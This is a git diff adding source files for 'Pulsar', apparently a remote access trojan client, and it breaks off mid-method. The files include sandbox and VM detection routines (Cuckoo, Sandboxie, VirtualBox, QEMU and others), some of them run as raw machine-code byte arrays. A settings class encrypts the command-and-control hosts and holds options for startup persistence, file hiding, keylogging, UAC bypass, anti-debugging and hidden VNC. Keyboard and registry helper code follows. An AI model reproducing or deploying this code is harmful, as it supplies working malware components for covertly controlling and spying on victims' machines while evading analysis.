[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString); + + [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)] + private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr GetModuleHandleA(string Library); + + [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)] + private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern bool IsProcessCritical(SafeHandle hProcess, ref bool BoolToCheck); + + [DllImport("ucrtbase.dll", SetLastError = true)] + private static extern IntPtr fopen(string filename, string mode); + + [DllImport("ucrtbase.dll", SetLastError = true)] + private static extern int fclose(IntPtr filestream); + + #endregion + + /// + /// Checks if Sandboxie is present on the system. + /// + /// True if Sandboxie is detected, otherwise false. + public static bool IsSandboxiePresent() + { + if (Utils.LowLevelGetModuleHandle("SbieDll.dll").ToInt32() != 0) + return true; + return false; + } + + /// + /// Checks if Comodo Sandbox is present on the system. + /// + /// True if Comodo Sandbox is detected, otherwise false. + public static bool IsComodoSandboxPresent() + { + if (Utils.LowLevelGetModuleHandle("cmdvrt32.dll").ToInt32() != 0 || Utils.LowLevelGetModuleHandle("cmdvrt64.dll").ToInt32() != 0) + return true; + return false; + } + + /// + /// Checks if Qihoo 360 Sandbox is present on the system. + /// + /// True if Qihoo 360 Sandbox is detected, otherwise false. + public static bool IsQihoo360SandboxPresent() + { + if (Utils.LowLevelGetModuleHandle("SxIn.dll").ToInt32() != 0) + return true; + return false; + } + + /// + /// Checks if Cuckoo Sandbox is present on the system. + /// + /// True if Cuckoo Sandbox is detected, otherwise false. + public static bool IsCuckooSandboxPresent() + { + if (Utils.LowLevelGetModuleHandle("cuckoomon.dll").ToInt32() != 0) + return true; + return false; + } + + /// + /// Checks if the environment is running in VMware or VirtualBox. + /// + /// True if VMware or VirtualBox is detected, otherwise false. + public static bool CheckForVMwareAndVirtualBox() + { + try + { + // Check registry for VM indicators (more reliable than WMI) + using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\BIOS")) + { + if (key != null) + { + var biosVersion = key.GetValue("BIOSVersion")?.ToString(); + var systemManufacturer = key.GetValue("SystemManufacturer")?.ToString(); + var systemProductName = key.GetValue("SystemProductName")?.ToString(); + + if (biosVersion != null && (biosVersion.Contains("VMware") || biosVersion.Contains("VirtualBox") || biosVersion.Contains("VBOX"))) + return true; + if (systemManufacturer != null && (systemManufacturer.Contains("VMware") || systemManufacturer.Contains("innotek"))) + return true; + if (systemProductName != null && (systemProductName.Contains("VMware") || systemProductName.Contains("VirtualBox"))) + return true; + } + } + + // Check for VMware tools registry + using (var vmwareKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\VMware, Inc.\VMware Tools")) + { + if (vmwareKey != null) + return true; + } + + // Check for VirtualBox registry + using (var vboxKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Oracle\VirtualBox Guest Additions")) + { + if (vboxKey != null) + return true; + } + } + catch + { + // Registry access failed, assume not VM + } + + // Fallback to WMI if registry checks fail + try + { + using (ManagementObjectSearcher ObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem")) + { + using (ManagementObjectCollection ObjectItems = ObjectSearcher.Get()) + { + foreach (ManagementBaseObject Item in ObjectItems) + { + string ManufacturerString = Item["Manufacturer"].ToString().ToLower(); + string ModelName = Item["Model"].ToString(); + if ((ManufacturerString == "microsoft corporation" && Utils.Contains(ModelName.ToUpperInvariant(), "VIRTUAL") || Utils.Contains(ManufacturerString, "vmware"))) + { + return true; + } + } + } + } + } + catch + { + // WMI not available, assume not VM + } + return false; + } + + /// + /// Checks if the environment is running in KVM. + /// + /// True if KVM is detected, otherwise false. + public static bool CheckForKVM() + { + string[] BadDriversList = { "balloon.sys", "netkvm.sys", "vioinput", "viofs.sys", "vioser.sys" }; + string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers"); + foreach (string driver in Directory.GetFiles(driversPath, "*")) + { + foreach (string badDriver in BadDriversList) + { + if (Path.GetFileName(driver).IndexOf(badDriver, StringComparison.OrdinalIgnoreCase) >= 0) + { + return true; + } + } + } + return false; + } + + + /// + /// Checks if the current user name matches any blacklisted names. + /// + /// True if a blacklisted name is detected, otherwise false. + public static bool CheckForBlacklistedNames() + { + string[] BadNames = { "Johnson", "Miller", "malware", "maltest", "CurrentUser", "Sandbox", "virus", "John Doe", "test user", "sand box", "WDAGUtilityAccount" }; + string Username = Environment.UserName.ToLower(); + foreach (string BadUsernames in BadNames) + { + if (Username == BadUsernames.ToLower()) + { + return true; + } + } + return false; + } + + /// + /// Detects bad VM-related files and directories on the system. + /// + /// True if bad VM-related files or directories are detected, otherwise false. + public static bool BadVMFilesDetection() + { + try + { + string[] badFiles = { "balloon.sys", "VBoxMouse.sys", "netkvm.sys", "VBoxGuest.sys", "VBoxSF.sys", "VBoxVideo.sys", "vmmouse.sys"}; + string[] badDirs = { @"C:\Program Files\VMware", @"C:\Program Files\Oracle\VirtualBox Guest Additions" }; + string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers"); + + foreach (string file in Directory.GetFiles(driversPath)) + { + if (badFiles.Any(badFile => Path.GetFileName(file).Equals(badFile, StringComparison.OrdinalIgnoreCase))) + return true; + } + + return badDirs.Any(dir => Directory.Exists(dir)); + } + catch + { + return false; + } + } + + + /// + /// Checks for the presence of bad VM-related process names. + /// + /// True if bad VM-related process names are detected, otherwise false. + public static bool BadVMProcessNames() + { + try + { + string[] BadProcessNames = { "vboxservice", "VGAuthService", "vmusrvc", "qemu-ga" }; + foreach (Process Processes in Process.GetProcesses()) + { + foreach (string BadProcessName in BadProcessNames) + { + if (Processes.ProcessName == BadProcessName) + { + return true; + } + } + } + } + catch { } + return false; + } + + /// + /// Checks for VM-related device names. + /// + /// True if VM-related device names are detected, otherwise false. + public static bool CheckDevices() + { + string[] Devices = { "\\\\.\\pipe\\cuckoo", "\\\\.\\HGFS", "\\\\.\\vmci", "\\\\.\\VBoxMiniRdrDN", "\\\\.\\VBoxGuest", "\\\\.\\pipe\\VBoxMiniRdDN", "\\\\.\\VBoxTrayIPC", "\\\\.\\pipe\\VBoxTrayIPC" }; + foreach (string Device in Devices) + { + try + { + IntPtr File = fopen(Device, "r"); + if (File != IntPtr.Zero) + { + fclose(File); + return true; + } + } + catch + { + continue; + } + } + return false; + } + + /// + /// Checks if the environment is running in Parallels. + /// + /// True if Parallels is detected, otherwise false. + public static bool CheckForParallels() + { + string[] BadDriversList = { "prl_sf", "prl_tg", "prl_eth" }; + foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*")) + { + foreach (string BadDrivers in BadDriversList) + { + if (Utils.Contains(Drivers, BadDrivers)) + { + return true; + } + } + } + + return false; + } + + /// + /// Checks for specific disk drive models that indicate a virtual environment. + /// + /// True if specific disk drive models are detected, otherwise false. + public static bool TriageCheck() + { + try + { + // Check registry for disk information (more reliable than WMI) + using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DEVICEMAP\Scsi")) + { + if (key != null) + { + foreach (var subKeyName in key.GetSubKeyNames()) + { + using (var subKey = key.OpenSubKey(subKeyName)) + { + if (subKey != null) + { + foreach (var portKeyName in subKey.GetSubKeyNames()) + { + using (var portKey = subKey.OpenSubKey(portKeyName)) + { + if (portKey != null) + { + var identifier = portKey.GetValue("Identifier")?.ToString(); + if (!string.IsNullOrEmpty(identifier) && + (identifier.Contains("DADY HARDDISK") || identifier.Contains("QEMU HARDDISK"))) + { + return true; + } + } + } + } + } + } + } + } + } + } + catch + { + // Registry access failed, assume not VM + } + + // Fallback to WMI if registry checks fail + try + { + using (var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive")) + { + foreach (var item in searcher.Get()) + { + string model = item["Model"].ToString(); + if (Utils.Contains(model, "DADY HARDDISK") || Utils.Contains(model, "QEMU HARDDISK")) + { + return true; + } + } + } + } + catch + { + // WMI not available, assume not VM + } + return false; + } + + /// + /// Checks for specific Machine GUIDs that indicate a virtual environment in Any.Run. + /// + /// True if specific Machine GUIDs are detected, otherwise false. + public static bool AnyRunCheck() + { + return false; + } + + /// + /// Checks if the environment is running in QEMU. + /// + /// True if QEMU is detected, otherwise false. + public static bool CheckForQemu() + { + string[] BadDriversList = { "qemu-ga", "qemuwmi" }; + foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*")) + { + foreach (string BadDrivers in BadDriversList) + { + if (Utils.Contains(Drivers, BadDrivers)) + { + return true; + } + } + } + + return false; + } + + public sealed class Generic + { + /// + /// Checks for VM-related ports on the system. + /// + /// True if no port connectors are found, indicating a possible VM environment, otherwise false. + public static bool PortConnectionAntiVM() + { + try + { + if (new ManagementObjectSearcher("SELECT * FROM Win32_PortConnector").Get().Count == 0) + return true; + } + catch + { + // WMI not available, assume ports exist + } + return false; + } + + /// + /// Checks if the environment is running in an emulation by measuring the sleep interval. + /// + /// True if emulation is detected, otherwise false. + public static bool EmulationTimingCheck() + { + long Tick = Environment.TickCount; + Thread.Sleep(500); + long Tick2 = Environment.TickCount; + if (((Tick2 - Tick) < 500L)) + { + return true; + } + return false; + } + + /// + /// Checks if the AVX instructions is properly implemented and handled. + /// + /// true if the instructions is not handled correctly, otherwise false. + public static bool AVXInstructions() + { + try + { + bool ResultBool = false; + byte[] Code = new byte[80]; + if (IntPtr.Size == 8) + Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x75, 0x31, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x75, 0x29, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x75, 0x16, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x44, 0x0f, 0x28, 0xc0, 0x66, 0x45, 0x0f, 0x5b, 0xc0, 0x75, 0x06, 0x74, 0x00, 0x48, 0x31, 0xc0, 0xc3, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0xc3 }; + else + Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x66, 0x0f, 0x7e, 0xe0, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x66, 0x0f, 0x7e, 0xeb, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x66, 0x0f, 0x7e, 0xf9, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x75, 0x05, 0x74, 0x00, 0x31, 0xc0, 0xc3, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc3 }; + IntPtr Allocated = Utils.AllocateCode(Code); + if (Allocated != IntPtr.Zero) + { + try + { + GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt)); + int Result = Execute(); + if (Result == 1) + { + Utils.FreeCode(Allocated); + ResultBool = true; + } + } + catch + { + Utils.FreeCode(Allocated); + return false; + } + Utils.FreeCode(Allocated); + return ResultBool; + } + return false; + } + catch + { + return false; + } + } + + /// + /// Checks if the RDRAND instruction is properly implemented. + /// + /// true if the instruction is implemented correctly, otherwise false. + public static bool RDRANDInstruction() + { + try + { + bool ResultBool = false; + byte[] Code = new byte[80]; + if (IntPtr.Size == 8) + Code = new byte[] { 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC3, 0x48, 0x83, 0xFB, 0x00, 0x74, 0x0F, 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC2, 0x48, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 }; + else + Code = new byte[] { 0x0F, 0xC7, 0xF0, 0x89, 0xC3, 0x83, 0xFB, 0x00, 0x74, 0x0C, 0x0F, 0xC7, 0xF0, 0x89, 0xC2, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 }; + IntPtr Allocated = Utils.AllocateCode(Code); + if (Allocated != IntPtr.Zero) + { + try + { + GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt)); + int Result = Execute(); + if (Result == 1) + { + ResultBool = true; + } + } + catch + { + Utils.FreeCode(Allocated); + return false; + } + Utils.FreeCode(Allocated); + return ResultBool; + } + return false; + } + catch + { + return false; + } + } + + /// + /// Checks if the instructions that control the register flags is properly handling the register. + /// + /// true if everything is going correctly, otherwise false. + public static bool FlagsManipulationInstructions() + { + try + { + bool ResultBool = false; + byte[] Code = new byte[80]; + if (IntPtr.Size == 8) + Code = new byte[] { 0x9C, 0x58, 0x48, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0x48, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x08, 0x48, 0xC7, 0xC0, 0x00, 0x00, 0x00, 0x00, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 }; + else + Code = new byte[] { 0x9C, 0x58, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x06, 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 }; + IntPtr Allocated = Utils.AllocateCode(Code); + if (Allocated != IntPtr.Zero) + { + try + { + GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt)); + int Result = Execute(); + if (Result == 1) + { + ResultBool = true; + } + } + catch + { + Utils.FreeCode(Allocated); + return false; + } + Utils.FreeCode(Allocated); + return ResultBool; + } + return false; + } + catch + { + return false; + } + } + } + } +} diff --git a/Pulsar.Client/App.config b/Pulsar.Client/App.config new file mode 100644 index 0000000..e5b07a7 --- /dev/null +++ b/Pulsar.Client/App.config @@ -0,0 +1,7 @@ +ο»Ώ + + + + + + \ No newline at end of file diff --git a/Pulsar.Client/Config/Settings.cs b/Pulsar.Client/Config/Settings.cs new file mode 100644 index 0000000..bab2619 --- /dev/null +++ b/Pulsar.Client/Config/Settings.cs @@ -0,0 +1,134 @@ +ο»Ώusing Pulsar.Common.Cryptography; +using Pulsar.Common.Models; +using System; +using System.IO; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Windows.Forms; + +namespace Pulsar.Client.Config +{ + /// + /// Stores the configuration of the client. + /// + public static class Settings + { + // Version string reported to the server regardless of assembly metadata. + private const string VersionOverride = "2.4.5"; + +#if DEBUG + public static string VERSION = "1.0.0"; + public static string HOSTS = "127.0.0.1:4782;"; + public static int RECONNECTDELAY = 500; + public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; + public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); + public static string SUBDIRECTORY = "Test"; + public static string INSTALLNAME = "test.exe"; + public static bool INSTALL = false; + public static bool STARTUP = false; + public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; + public static string STARTUPKEY = "Pulsar Client Startup"; + public static bool HIDEFILE = false; + public static bool ENABLELOGGER = false; + public static string ENCRYPTIONKEY = ""; + public static string TAG = "DEBUG"; + public static string LOGDIRECTORYNAME = "Logs"; + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; + public static X509Certificate2 SERVERCERTIFICATE; + public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = ""; + public static bool ANTIVM = false; + public static bool ANTIDEBUG = false; + public static bool PASTEBIN = false; + public static bool UACBYPASS = false; + public static bool MAKEPROCESSCRITICAL = false; // if true it will attempt to make the process crititcal (needs admin fr) + + // needed for hvnc (why?) why not use the desktop pointer directly? + public static IntPtr OriginalDesktopPointer = IntPtr.Zero; + + public static bool Initialize() + { + SetupPaths(); + return true; + } +#else + public static string VERSION = ""; + public static string HOSTS = ""; + public static int RECONNECTDELAY = 5000; + public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; + public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); + public static string SUBDIRECTORY = ""; + public static string INSTALLNAME = ""; + public static bool INSTALL = false; + public static bool STARTUP = false; + public static string MUTEX = ""; + public static string STARTUPKEY = ""; + public static bool HIDEFILE = false; + public static bool ENABLELOGGER = false; + public static string ENCRYPTIONKEY = ""; + public static string TAG = ""; + public static string LOGDIRECTORYNAME = ""; + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; + public static X509Certificate2 SERVERCERTIFICATE; + public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = ""; + public static bool ANTIVM = false; + public static bool ANTIDEBUG = false; + public static bool PASTEBIN = false; + public static bool UACBYPASS = false; + public static bool MAKEPROCESSCRITICAL = false; // if true it will attempt to make the process crititcal (needs admin fr) + + // needed for hvnc + public static IntPtr OriginalDesktopPointer = IntPtr.Zero; + + public static bool Initialize() + { + if (string.IsNullOrEmpty(VERSION)) return false; + var aes = new Aes256(ENCRYPTIONKEY); + TAG = aes.Decrypt(TAG); + VERSION = aes.Decrypt(VERSION); + HOSTS = aes.Decrypt(HOSTS); + SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY); + INSTALLNAME = aes.Decrypt(INSTALLNAME); + MUTEX = aes.Decrypt(MUTEX); + STARTUPKEY = aes.Decrypt(STARTUPKEY); + LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME); + SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE); + SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR))); + SetupPaths(); + return VerifyHash(); + } +#endif + + public static string ReportedVersion => string.IsNullOrWhiteSpace(VersionOverride) ? VERSION : VersionOverride; + + static void SetupPaths() + { + LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME); + INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME); + } + + static bool VerifyHash() + { + try + { + using (var rsa = SERVERCERTIFICATE.GetRSAPublicKey()) + { + var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)); + return rsa.VerifyHash(hash, Convert.FromBase64String(SERVERSIGNATURE), HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); + } + } + catch (Exception) + { + return false; + } + } + } +} diff --git a/Pulsar.Client/Extensions/KeyExtensions.cs b/Pulsar.Client/Extensions/KeyExtensions.cs new file mode 100644 index 0000000..812d1bb --- /dev/null +++ b/Pulsar.Client/Extensions/KeyExtensions.cs @@ -0,0 +1,59 @@ +ο»Ώusing System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; + +namespace Pulsar.Client.Extensions +{ + public static class KeyExtensions + { + public static bool ContainsModifierKeys(this List pressedKeys) + { + return pressedKeys.Any(x => x.IsModifierKey()); + } + + public static bool IsModifierKey(this Keys key) + { + return (key == Keys.LControlKey + || key == Keys.RControlKey + || key == Keys.LMenu + || key == Keys.RMenu + || key == Keys.LWin + || key == Keys.RWin + || key == Keys.Control + || key == Keys.Alt); + } + + public static bool ContainsKeyChar(this List pressedKeys, char c) + { + return pressedKeys.Contains((Keys)char.ToUpper(c)); + } + + public static bool IsExcludedKey(this Keys k) + { + // The keys below are excluded. If it is one of the keys below, + // the KeyPress event will handle these characters. If the keys + // are not any of those specified below, we can continue. + return (k >= Keys.A && k <= Keys.Z + || k >= Keys.NumPad0 && k <= Keys.Divide + || k >= Keys.D0 && k <= Keys.D9 + || k >= Keys.Oem1 && k <= Keys.OemClear + || k >= Keys.LShiftKey && k <= Keys.RShiftKey + || k == Keys.CapsLock + || k == Keys.Space); + } + + public static string GetDisplayName(this Keys key) + { + string name = key.ToString(); + if (name.Contains("ControlKey")) + return "Control"; + else if (name.Contains("Menu")) + return "Alt"; + else if (name.Contains("Win")) + return "Win"; + else if (name.Contains("Shift")) + return "Shift"; + return name; + } + } +} diff --git a/Pulsar.Client/Extensions/ProcessExtensions.cs b/Pulsar.Client/Extensions/ProcessExtensions.cs new file mode 100644 index 0000000..ad8891a --- /dev/null +++ b/Pulsar.Client/Extensions/ProcessExtensions.cs @@ -0,0 +1,19 @@ +ο»Ώusing Pulsar.Client.Utilities; +using System.Diagnostics; +using System.Text; + +namespace Pulsar.Client.Extensions +{ + public static class ProcessExtensions + { + public static string GetMainModuleFileName(this Process proc) + { + uint nChars = 260; + StringBuilder buffer = new StringBuilder((int)nChars); + + var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars); + + return success ? buffer.ToString() : null; + } + } +} diff --git a/Pulsar.Client/Extensions/RegistryKeyExtensions.cs b/Pulsar.Client/Extensions/RegistryKeyExtensions.cs new file mode 100644 index 0000000..562176a --- /dev/null +++ b/Pulsar.Client/Extensions/RegistryKeyExtensions.cs @@ -0,0 +1,400 @@ +ο»Ώusing Microsoft.Win32; +using Pulsar.Common.Utilities; +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Pulsar.Client.Extensions +{ + /// + /// Provides extensions for registry key and value operations. + /// + public static class RegistryKeyExtensions + { + /// + /// Determines if the registry key by the name provided is null or has the value of null. + /// + /// The name associated with the registry key. + /// The actual registry key. + /// True if the provided name is null or empty, or the key is null; False if otherwise. + private static bool IsNameOrValueNull(this string keyName, RegistryKey key) + { + return (string.IsNullOrEmpty(keyName) || (key == null)); + } + + /// + /// Attempts to get the string value of the key using the specified key name. This method assumes + /// correct input. + /// + /// The key of which we obtain the value of. + /// The name of the key. + /// The default value if value can not be determined. + /// Returns the value of the key using the specified key name. If unable to do so, + /// defaultValue will be returned instead. + public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "") + { + try + { + return key.GetValue(keyName, defaultValue).ToString(); + } + catch + { + return defaultValue; + } + } + + /// + /// Attempts to obtain a readonly (non-writable) sub key from the key provided using the + /// specified name. Exceptions thrown will be caught and will only return a null key. + /// This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is obtained from. + /// The name of the sub-key. + /// Returns the sub-key obtained from the key and name provided; Returns null if + /// unable to obtain a sub-key. + public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string name) + { + try + { + return key.OpenSubKey(name, false); + } + catch + { + return null; + } + } + + /// + /// Attempts to obtain a writable sub key from the key provided using the specified + /// name. This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is obtained from. + /// The name of the sub-key. + /// Returns the sub-key obtained from the key and name provided; Returns null if + /// unable to obtain a sub-key. + public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string name) + { + try + { + return key.OpenSubKey(name, true); + } + catch + { + return null; + } + } + + /// + /// Attempts to create a sub key from the key provided using the specified + /// name. This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is to be created from. + /// The name of the sub-key. + /// Returns the sub-key that was created for the key and name provided; Returns null if + /// unable to create a sub-key. + public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name) + { + try + { + return key.CreateSubKey(name); + } + catch + { + return null; + } + } + + /// + /// Attempts to delete a sub-key and its children from the key provided using the specified + /// name. + /// + /// The key of which the sub-key is to be deleted from. + /// The name of the sub-key. + /// Returns true if the action succeeded, otherwise false. + public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) + { + try + { + key.DeleteSubKeyTree(name, true); + return true; + } + catch + { + return false; + } + } + + /* + * Derived and Adapted from drdandle's article, + * Copy and Rename Registry Keys at Code project. + * Copy and Rename Registry Keys (Post Date: November 11, 2006) + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This is a work that is not of the original. It + * has been modified to suit the needs of another + * application. + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * First Modified by StingRaptor on January 21, 2016 + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Original Source: + * http://www.codeproject.com/Articles/16343/Copy-and-Rename-Registry-Keys + */ + + /// + /// Attempts to rename a sub-key to the key provided using the specified old + /// name and new name. + /// + /// The key of which the subkey is to be renamed from. + /// The old name of the sub-key. + /// The new name of the sub-key. + /// Returns true if the action succeeded, otherwise false. + public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName) + { + try + { + //Copy from old to new + key.CopyKey(oldName, newName); + //Dispose of the old key + key.DeleteSubKeyTree(oldName); + return true; + } + catch + { + //Try to dispose of the newKey (The rename failed) + key.DeleteSubKeyTreeSafe(newName); + return false; + } + } + + /// + /// Attempts to copy a old subkey to a new subkey for the key + /// provided using the specified old name and new name. (throws exceptions) + /// + /// The key of which the subkey is to be deleted from. + /// The old name of the sub-key. + /// The new name of the sub-key. + public static void CopyKey(this RegistryKey key, string oldName, string newName) + { + //Create a new key + using (RegistryKey newKey = key.CreateSubKey(newName)) + { + //Open old key + using (RegistryKey oldKey = key.OpenSubKey(oldName, true)) + { + //Copy from old to new + RecursiveCopyKey(oldKey, newKey); + } + } + } + + /// + /// Attempts to rename a sub-key to the key provided using the specified old + /// name and new name. + /// + /// The source key to copy from. + /// The destination key to copy to. + private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) + { + + //Copy all of the registry values + foreach (string valueName in sourceKey.GetValueNames()) + { + object valueObj = sourceKey.GetValue(valueName); + RegistryValueKind valueKind = sourceKey.GetValueKind(valueName); + destKey.SetValue(valueName, valueObj, valueKind); + } + + //Copy all of the subkeys + foreach (string subKeyName in sourceKey.GetSubKeyNames()) + { + using (RegistryKey sourceSubkey = sourceKey.OpenSubKey(subKeyName)) + { + using (RegistryKey destSubKey = destKey.CreateSubKey(subKeyName)) + { + //Recursive call to copy the sub key data + RecursiveCopyKey(sourceSubkey, destSubKey); + } + } + } + } + + /// + /// Attempts to set a registry value for the key provided using the specified + /// name, data and kind. If the registry value does not exist it will be created + /// + /// The key of which the value is to be set for. + /// The name of the value. + /// The data of the value + /// The value kind of the value + /// Returns true if the action succeeded, otherwise false. + public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind) + { + try + { + // handle type conversion + if (kind != RegistryValueKind.Binary && data.GetType() == typeof(byte[])) + { + switch (kind) + { + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + data = ByteConverter.ToString((byte[])data); + break; + case RegistryValueKind.DWord: + data = ByteConverter.ToUInt32((byte[])data); + break; + case RegistryValueKind.QWord: + data = ByteConverter.ToUInt64((byte[])data); + break; + case RegistryValueKind.MultiString: + data = ByteConverter.ToStringArray((byte[])data); + break; + } + } + key.SetValue(name, data, kind); + return true; + } + catch + { + return false; + } + } + + /// + /// Attempts to delete a registry value for the key provided using the specified + /// name. + /// + /// The key of which the value is to be delete from. + /// The name of the value. + /// Returns true if the action succeeded, otherwise false. + public static bool DeleteValueSafe(this RegistryKey key, string name) + { + try + { + key.DeleteValue(name); + return true; + } + catch + { + return false; + } + } + + /// + /// Attempts to rename a registry value to the key provided using the specified old + /// name and new name. + /// + /// The key of which the registry value is to be renamed from. + /// The old name of the registry value. + /// The new name of the registry value. + /// Returns true if the action succeeded, otherwise false. + public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName) + { + try + { + //Copy from old to new + key.CopyValue(oldName, newName); + //Dispose of the old value + key.DeleteValue(oldName); + return true; + } + catch + { + //Try to dispose of the newKey (The rename failed) + key.DeleteValueSafe(newName); + return false; + } + } + + /// + /// Attempts to copy a old registry value to a new registry value for the key + /// provided using the specified old name and new name. (throws exceptions) + /// + /// The key of which the registry value is to be copied. + /// The old name of the registry value. + /// The new name of the registry value. + public static void CopyValue(this RegistryKey key, string oldName, string newName) + { + RegistryValueKind valueKind = key.GetValueKind(oldName); + object valueData = key.GetValue(oldName); + + key.SetValue(newName, valueData, valueKind); + } + + /// + /// Checks if the specified subkey exists in the key + /// + /// The key of which to search. + /// The name of the sub-key to find. + /// Returns true if the action succeeded, otherwise false. + public static bool ContainsSubKey(this RegistryKey key, string name) + { + foreach (string subkey in key.GetSubKeyNames()) + { + if (subkey == name) + { + return true; + } + } + return false; + } + + /// + /// Checks if the specified registry value exists in the key + /// + /// The key of which to search. + /// The name of the registry value to find. + /// Returns true if the action succeeded, otherwise false. + public 